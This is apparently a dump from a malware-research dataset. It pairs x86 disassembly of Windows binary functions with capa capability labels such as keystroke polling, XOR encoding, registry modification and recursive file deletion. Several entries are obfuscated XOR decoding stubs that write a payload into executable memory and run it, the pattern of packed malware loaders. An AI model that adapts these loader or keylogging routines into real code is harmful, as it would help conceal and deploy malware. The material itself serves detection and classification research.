joyce8/EMBER2024-capa huggingface dataset:
Function at 0x102d64d
Capabilities:
Log keystrokes via polling

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 4]
push edi
push dword [eax + 0x38]
call fcn.01029c66
mov dword [ebp + 8], eax
mov eax, dword [esi + 4]
push dword [eax + 0x3c]
call fcn.01029cd4
push 2
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
mov esi, dword [ebp + 0xc]
pop ebx
test byte [eax + 0x30], bl
je 0x102d7c8
mov al, byte [ebp + 8]
xor edx, edx
lea ecx, [esi + 8]
test al, 8
je 0x102d6df
mov edi, ebx
test al, 1
je 0x102d6c9
test bl, al
je 0x102d6b3
mov ax, word [edx + 0x1038ef8]
mov word [ecx], ax
add edx, ebx
add ecx, 4
cmp edx, 4
jae 0x102d72a
jmp 0x102d69d
mov ax, word [edx + str.hQB0hQ]
mov word [ecx], ax
add edx, ebx
add ecx, 4
cmp edx, 4
jae 0x102d72a
jmp 0x102d6b3
mov ax, word [edx + 0x1038ef0]
mov word [ecx], ax
add edx, ebx
add ecx, 4
cmp edx, 4
jae 0x102d72a
jmp 0x102d6c9
push 3
pop edi
test al, 1
je 0x102d716
test bl, al
je 0x102d700
mov ax, word [edx + 0x1038ee8]
mov word [ecx], ax
add edx, ebx
add ecx, 4
cmp edx, 6
jae 0x102d72a
jmp 0x102d6ea
mov ax, word [edx + 0x1038ee0]
mov word [ecx], ax
add edx, ebx
add ecx, 4
cmp edx, 6
jae 0x102d72a
jmp 0x102d700
mov ax, word [edx + 0x1038ed8]
mov word [ecx], ax
add edx, ebx
add ecx, 4
cmp edx, 6
jb 0x102d716
mov eax, dword [ebp - 4]
test eax, eax
jne 0x102d739
mov ax, word [0x1038eb0]
jmp 0x102d772
test al, 1
je 0x102d745
mov ax, word [0x1038eb2]
jmp 0x102d772
test bl, al
je 0x102d751
mov ax, word [0x1038eb4]
jmp 0x102d772
test al, 4
je 0x102d75d
mov ax, word [0x1038eb6]
jmp 0x102d772
test al, 8
je 0x102d769
mov ax, word [0x1038eb8]
jmp 0x102d772
push 0x20
pop eax
mov word [esi + edi*4 + 8], ax
inc edi
mov word [esi + edi*4 + 8], ax
push 0x15
inc edi
call dword [sym.imp.USER32.dll_GetKeyState]
test al, 1
je 0x102d7a3
lea eax, [esi + edi*4 + 8]
xor ecx, ecx
add edi, 4
mov dx, word [ecx + 0x1038ed0]
mov word [eax], dx
add ecx, ebx
add eax, 4
cmp ecx, 8
jae 0x102d7ca
jmp 0x102d78d
test byte [ebp + 8], 0x10
je 0x102d7ca
lea eax, [esi + edi*4 + 8]
xor ecx, ecx
add edi, 4
mov dx, word [ecx + 0x1038ec8]
mov word [eax], dx
add ecx, ebx
add eax, 4
cmp ecx, 8
jae 0x102d7ca
jmp 0x102d7b2
xor edi, edi
test edi, edi
jle 0x102d7df
lea eax, [esi + 0xa]
mov ecx, edi
push 7
pop edx
mov word [eax], dx
add eax, 4
dec ecx
jne 0x102d7d3
xor eax, eax
mov dword [esi], edi
inc eax
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
leave
ret 8
Function at 0x1032005
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
lea eax, [ebp - 0x14]
push eax
call fcn.01009469
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], eax
jbe 0x103206d
mov dword [ebp - 8], eax
mov eax, dword [0x1038080]
mov ecx, dword [ebp - 8]
add eax, ecx
test byte [eax + 0x14], 4
jne 0x1032052
mov al, byte [eax + 0x15]
cmp al, 0x80
je 0x1032077
cmp al, 0x81
je 0x1032077
cmp al, 0x88
je 0x1032077
xor ecx, ecx
cmp al, 0x86
sete cl
mov eax, ecx
test eax, eax
jne 0x1032077
mov eax, dword [0x10383d0]
inc dword [ebp - 0xc]
add dword [ebp - 8], 0x18
mov dword [eax + 4], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0x1032026
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 4
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
call fcn.0101c240
push 1
push dword [ebp - 4]
call fcn.01026d1b
mov ecx, dword [0x1038030]
mov esi, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
lea ebx, [esi + 0xc]
push ebx
add ecx, 0x300000
push ecx
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov edi, eax
test edi, edi
je 0x103213f
mov eax, dword [0x1038080]
mov ecx, dword [ebp - 8]
push dword [eax + ecx]
push dword [0x1038268]
call dword [sym.imp.GDI32.dll_SelectObject]
test eax, eax
je 0x1032169
xor esi, esi
push edi
xor eax, eax
push ebx
mov word [ebp - 0xe], ax
push 1
lea eax, [ebp - 0x10]
push eax
push dword [0x1038268]
mov word [ebp - 0x10], si
call sub.GDI32.dll_GetStringBitmapW
test eax, eax
je 0x1032169
mov ax, word [edi]
mov word [ebp - 4], ax
mov ax, word [edi + 4]
mov word [ebp - 2], ax
lea eax, [edi + 8]
push eax
push dword [ebp - 4]
push esi
call fcn.0102688d
test eax, eax
jl 0x1032169
inc esi
cmp si, 0x20
jb 0x10320dd
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push edi
push 0
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
jmp 0x1032052
add esi, 0xc
push esi
mov esi, dword [sym.imp.ntdll.dll_DbgPrintEx]
push 0x10120a0
push 1
push 0x70
call esi
push 0x100aba0
push 1
push 0x70
call esi
add esp, 0x1c
xor eax, eax
jmp 0x1032070
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push edi
push 0
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
jmp 0x1032162
Function at 0x103267c
Capabilities:
Get process heap force flags

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword fs:[0x18]
mov edx, dword [ebp + 0xc]
mov ecx, dword [0x1038030]
mov eax, dword [eax + 0x30]
push esi
movsx esi, word [ebp + 0xc]
shr edx, 0x10
movsx edx, dx
imul edx, esi
push edi
shl edx, 3
push edx
add ecx, 0x300000
push ecx
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov edi, eax
mov dword [ebp - 0x10], edi
test edi, edi
jne 0x10326cc
mov eax, 0xc0000017
jmp 0x10327e7
mov eax, dword [0x1038258]
push ebx
push 4
pop ebx
test byte [eax], bl
je 0x1032701
test byte [0x10382f8], 1
jne 0x1032701
cmp byte [section..data], 0
mov eax, dword [0x1038044]
je 0x1032706
cmp dword [0x1038334], eax
je 0x1032706
mov dword [ebp - 8], 0x4e4
jmp 0x1032709
mov eax, dword [0x1038334]
mov dword [ebp - 8], eax
movsx eax, word [ebp + 0xe]
movsx ecx, word [ebp + 0xc]
mov esi, dword [ebp + 8]
imul eax, ecx
shl eax, 2
push eax
push esi
push edi
call dword [sym.imp.msvcrt.dll_memmove]
and dword [ebp - 0xc], 0
xor eax, eax
add esp, 0xc
cmp ax, word [ebp + 0xe]
jge 0x10327cd
movsx eax, word [ebp + 0xc]
and dword [ebp + 8], 0
test eax, eax
jle 0x10327bd
movzx ecx, word [edi + 2]
test ecx, 0x100
je 0x103278f
dec eax
cmp dword [ebp + 8], eax
jge 0x103277e
inc dword [ebp + 8]
push 2
lea eax, [ebp - 4]
push eax
push 1
push edi
push dword [ebp - 8]
call fcn.0101c4fa
mov ax, word [ebp - 4]
mov byte [esi], al
mov cx, word [edi + 2]
mov word [esi + 2], cx
add esi, ebx
add edi, ebx
mov byte [esi], ah
jmp 0x10327a5
mov byte [esi], 0x20
mov ax, word [edi + 2]
mov ecx, 0xfcff
and ax, cx
jmp 0x10327a9
test ecx, 0x300
jne 0x10327b1
push 1
push esi
push 1
push edi
push dword [ebp - 8]
call fcn.0101c4fa
mov ax, word [edi + 2]
mov word [esi + 2], ax
add esi, ebx
add edi, ebx
movsx eax, word [ebp + 0xc]
inc dword [ebp + 8]
cmp dword [ebp + 8], eax
jl 0x1032742
movsx eax, word [ebp + 0xe]
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], eax
jl 0x1032736
push dword [ebp - 0x10]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push 0
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret 8
Function at 0x6d4c3c25
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x6d4c3c34
pop dword [ebp - 0x50]
mov eax, 0xfd62a171
sub eax, 0x9016653d
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x3744e
push 0
mov eax, 0x704607d3
add eax, 0xfd071911
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0xdb79d0d1
sub ecx, 0xdb798b5b
xor esi, esi
add esi, eax
mov edx, 0x6d4e2600
add edx, dword [ebp - 0x50]
mov edi, 0x3b5daa6
sub edi, 0xb988d823
xor dword [ebp - 0x34], 0x3d877ea
mov ebx, dword [edx]
mov dword [ebp - 0x2c], 0xc2c4c0c0
xor ebx, edi
mov dword [ebp - 0xc], 0x19ac5908
mov dword [esi], ebx
add esi, 0xdf25355b
add esi, 0x20dacaa9
add edx, 0xabfd8ae5
sub edx, 0xabfd8ae1
loop 0x6d4c3c8f
add eax, 0x108ab
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x6d4c0000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x6d4c64bc
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x6d4c650a
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
mov ebx, ecx
test esi, esi
jne 0x6d4c651b
push 0xd
pop eax
jmp 0x6d4c6545
push edi
xor edi, edi
push esi
call dword [sym.imp.kernel32.dll_lstrlenA]
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x6d4c651e
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
ret 8

Function at 0x6d4c6ad6
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x6d4dc420]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.6d4c3c25
mov ebx, eax
cmp ebx, esi
je 0x6d4c6b49
lea ecx, [ebp - 0x74]
call fcn.6d4c4db9
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d4cf9b2
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x6d4c6b61
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.6d4c6ad6
cmp eax, esi
jne 0x6d4c6b93
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], pe_nt_image_headers32
call ebx
test eax, eax
je 0x6d4c6b51
lea ecx, [ebp - 0x74]
call fcn.6d4c4db9
push dword [ebp - 0x78]
mov ecx, edi
call fcn.6d4c63e5
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.6d4c4db9
mov eax, esi
jmp 0x6d4c6b2f
Function at 0x10003368
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x10003377
pop dword [ebp - 0x3c]
mov eax, 0x10003377
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x4b3a6b75
add dword [ebp - 0x4c], 0x317d9d6
mov dword [ebp - 0x48], 0x3be5e816
sub dword [ebp - 0x48], 0x9b29bd1
mov dword [ebp - 0x44], 0x8419e4da
sub dword [ebp - 0x44], 0x37cda0ac
mov dword [ebp - 0x40], 0xb6c861e0
sub dword [ebp - 0x40], 0xb6c861e0
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x9051da5b
add eax, 0x7fae65ed
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xb1e94ac9
add dword [ebp - 0x4c], 0xc2891e8d
mov dword [ebp - 0x48], 0x4aed8f74
add dword [ebp - 0x48], 0xf67ed201
mov dword [ebp - 0x44], 0x79ed659f
sub dword [ebp - 0x44], 0x167df933
mov dword [ebp - 0x40], 0x69ad2d52
sub dword [ebp - 0x40], 0x69ad2d52
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x49433a6d
sub eax, 0x3942f9f1
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3949f
push 0
call eax
mov ecx, 0x52bb
mov edx, eax
mov ebx, 0x272ce945
sub ebx, 0x172c5345
add ebx, dword [ebp - 0x3c]
mov esi, 0xa60f14d
add esi, 0x5d497cb9
mov dword [ebp - 0x24], 0xeea1fe8e
mov edi, dword [ebx]
xor edi, esi
xor dword [ebp - 0x1c], 0xcd7881e9
mov dword [edx], edi
sub dword [ebp - 0x38], 0xf423a7be
add edx, 0x5ffedffd
sub edx, 0x5ffedff9
add ebx, 0x88e41cc2
add ebx, 0x771be342
loop 0x1000348e
add eax, 0x1b5c8e40
sub eax, 0x1b5b5081
xor ebx, ebx
add ebx, eax
add eax, 0x5d4319c1
add eax, 0xa2bce644
mov ecx, 0x2ff4a58f
sub ecx, 0x1ff4a58f
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x401443
pop dword [ebp - 0x2c]
mov eax, 0x401443
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x332485cd
add dword [ebp - 0x3c], 0x1b2dbf7e
mov dword [ebp - 0x38], 0x1e3d7382
add dword [ebp - 0x38], 0x13f5d8c3
mov dword [ebp - 0x34], 0xd12a5456
sub dword [ebp - 0x34], 0x84de1028
mov dword [ebp - 0x30], 0xae83b399
sub dword [ebp - 0x30], 0xae83b399
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x1e92ac48
sub eax, 0x1e522b44
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xdffd593
sub dword [ebp - 0x3c], 0x998d6c3d
mov dword [ebp - 0x38], 0x83f4d120
add dword [ebp - 0x38], 0xbd779055
mov dword [ebp - 0x34], 0x13979dfa
add dword [ebp - 0x34], 0x4fd7ce72
mov dword [ebp - 0x30], 0xe58a515f
sub dword [ebp - 0x30], 0xe58a515f
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x486f81fb
add eax, 0xb7d0ff05
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x39cb6
push 0
call eax
mov ecx, 0xcf31f5a2
add ecx, 0x30ce5862
mov ebx, eax
mov edi, 0x3bfc8e33
add edi, 0xc44a55cd
add edi, dword [ebp - 0x2c]
mov edx, 0x6aaa9a08
sub dword [ebp - 0xc], edx
mov esi, dword [edi]
xor dword [ebp - 0x18], edx
xor esi, edx
xor dword [ebp - 0x14], 0xb9d3f751
mov dword [ebx], esi
add dword [ebp - 4], 0x20c4024d
add ebx, 0x4008afcd
add ebx, 0xbff75037
add edi, 4
loop 0x40155a
add eax, 0x28e194d7
sub eax, 0x28e069f4
mov ebx, eax
add eax, 0x6cd90459
add eax, 0x9326fbac
mov ecx, 0x19e76c41
sub ecx, 0x19a76c41
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42a2f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004065ec
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x42a2f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a2f0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x10005210
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push esi
push edi
push eax
xor edi, edi
call fcn.10006a90
test eax, eax
je 0x10005267
mov esi, dword [esp + 0x110]
lea ecx, [esp + 8]
push esi
push edi
push str.OTTO
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push edi
push esi
call dword [sym.imp.KERNEL32.dll__lcreat]
cmp eax, 0xffffffff
je 0x10005267
push eax
mov esi, 1
call dword [sym.imp.KERNEL32.dll__lclose]
mov eax, esi
pop edi
pop esi
add esp, 0x104
ret 8
mov eax, edi
pop edi
pop esi
add esp, 0x104
ret 8

Function at 0x10005ab0
Capabilities:
Read .ini file

Disassembly:
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 8]
sub esp, 0x328
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebp
mov ebp, dword [esp + 0x334]
push esi
xor esi, esi
test edx, edx
mov dword [eax], esi
jne 0x10005b55
lea ecx, [esp + 0x30]
push 0x104
push ecx
push ebp
call ebx
test eax, eax
je 0x10005be9
lea edx, [esp + 0x30]
push 0x104
lea eax, [esp + 0x34]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x10005be9
lea ecx, [esp + 0x134]
push esi
lea edx, [esp + 0x238]
push ecx
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x3c]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__splitpath]
lea edx, [esp + 0x148]
push str..INI
lea eax, [esp + 0x24c]
push edx
lea ecx, [esp + 0x28]
push eax
lea edx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__makepath]
add esp, 0x28
lea edx, [esp + 0x30]
push edi
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x18]
push 0x20
push eax
push 0x1000e824
push 0x1000e814
push str.Settings
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.MSVCRT.dll_atol]
add esp, 4
test eax, eax
pop edi
je 0x10005be9
lea edx, [esp + 0x30]
push 0x104
push edx
push ebp
call ebx
test eax, eax
je 0x10005be9
mov cl, byte [esp + 0x30]
xor eax, eax
test cl, cl
je 0x10005bca
cmp eax, 0x104
jge 0x10005bca
cmp byte [esp + eax + 0x30], 0x5c
jne 0x10005bc1
mov byte [esp + eax + 0x30], 0x7c
mov cl, byte [esp + eax + 0x31]
inc eax
test cl, cl
jne 0x10005bae
mov eax, dword [esp + 0x340]
lea ecx, [esp + 0x30]
push eax
push ecx
push ebp
call fcn.10005c00
pop esi
pop ebp
pop ebx
add esp, 0x328
ret 0xc
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x328
ret 0xc
Function at 0x10006a90
Capabilities:
Get common file path

Disassembly:
push esi
push edi
mov edi, dword [0x1001015c]
test edi, edi
je 0x10006ac5
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret 4
mov esi, dword [esp + 0xc]
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x10006aff
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [ecx + esi - 1], 0x5c
je 0x10006af5
mov byte [ecx + esi], 0x5c
mov byte [ecx + esi + 1], 0
pop edi
mov eax, 1
pop esi
ret 4
mov byte [esi], 0
pop edi
xor eax, eax
pop esi
ret 4
Function at 0x10006b60
Capabilities:
Create directory
Get common file path

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x104
xor ebp, ebp
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [0x1001015c], eax
test eax, eax
je 0x10006ceb
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x10006cce
mov edx, dword [0x1001015c]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [edx + ecx]
mov cl, byte [edx + ecx - 1]
cmp cl, 0x5c
je 0x10006bbf
mov byte [eax], 0x5c
mov byte [eax + 1], 0
mov edx, dword [0x1001015c]
mov edi, str.TempFolder
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..aaa
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [0x1001015c]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edx, dword [0x1001015c]
or ecx, 0xffffffff
mov edi, edx
push edx
repne scasb al, byte es:[edi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
not ecx
dec ecx
mov esi, ecx
call edi
test eax, eax
jne 0x10006c93
mov bl, 0x61
mov ecx, dword [0x1001015c]
movsx eax, byte [esi + ecx - 1]
cmp eax, 0x7a
jge 0x10006c4f
inc al
mov byte [esi + ecx - 1], al
jmp 0x10006c85
mov byte [esi + ecx - 1], bl
mov ecx, dword [0x1001015c]
movsx eax, byte [ecx + esi - 2]
cmp eax, 0x7a
jge 0x10006c6b
inc al
mov byte [ecx + esi - 2], al
jmp 0x10006c85
mov byte [ecx + esi - 2], bl
mov ecx, dword [0x1001015c]
movsx eax, byte [ecx + esi - 3]
cmp eax, 0x7a
jge 0x10006cd4
inc al
mov byte [ecx + esi - 3], al
mov eax, dword [0x1001015c]
push 0
push eax
call edi
test eax, eax
je 0x10006c37
mov edx, dword [0x1001015c]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [edx + ecx]
mov cl, byte [edx + ecx - 1]
cmp cl, 0x5c
je 0x10006cbe
mov byte [eax], 0x5c
mov byte [eax + 1], 0
mov edx, dword [0x1001015c]
push edx
call fcn.10006d00
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
mov ecx, dword [0x1001015c]
test ecx, ecx
je 0x10006ceb
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [0x1001015c], 0
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
ret
Function at 0x10006da0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x248
or ecx, 0xffffffff
xor eax, eax
push ebx
push ebp
mov ebp, dword [esp + 0x254]
push esi
push edi
mov edi, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, 1
cmp byte [ecx + ebp - 1], 0x5c
je 0x10006dd2
mov byte [ecx + ebp], 0x5c
mov byte [ecx + ebp + 1], 0
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1000e8d8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x118]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x10006f5e
mov esi, 0x1000e8d4
lea eax, [esp + 0x144]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10006e73
test cl, cl
je 0x10006e6f
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10006e73
add eax, 2
add esi, 2
test cl, cl
jne 0x10006e4f
xor eax, eax
jmp 0x10006e78
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10006f30
mov esi, 0x1000e8d0
lea eax, [esp + 0x144]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10006eb0
test cl, cl
je 0x10006eac
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10006eb0
add eax, 2
add esi, 2
test cl, cl
jne 0x10006e8c
xor eax, eax
jmp 0x10006eb5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10006f30
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x144]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov al, byte [esp + 0x118]
mov ecx, ebx
and ecx, 3
test al, 0x10
rep movsb byte es:[edi], byte [esi]
je 0x10006f23
lea eax, [esp + 0x14]
push eax
call fcn.10006da0
jmp 0x10006f2e
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebx, eax
test ebx, ebx
je 0x10006f4f
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x118]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10006e43
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
test ebx, ebx
je 0x10006f72
push ebp
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x248
ret 4
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x248
ret 4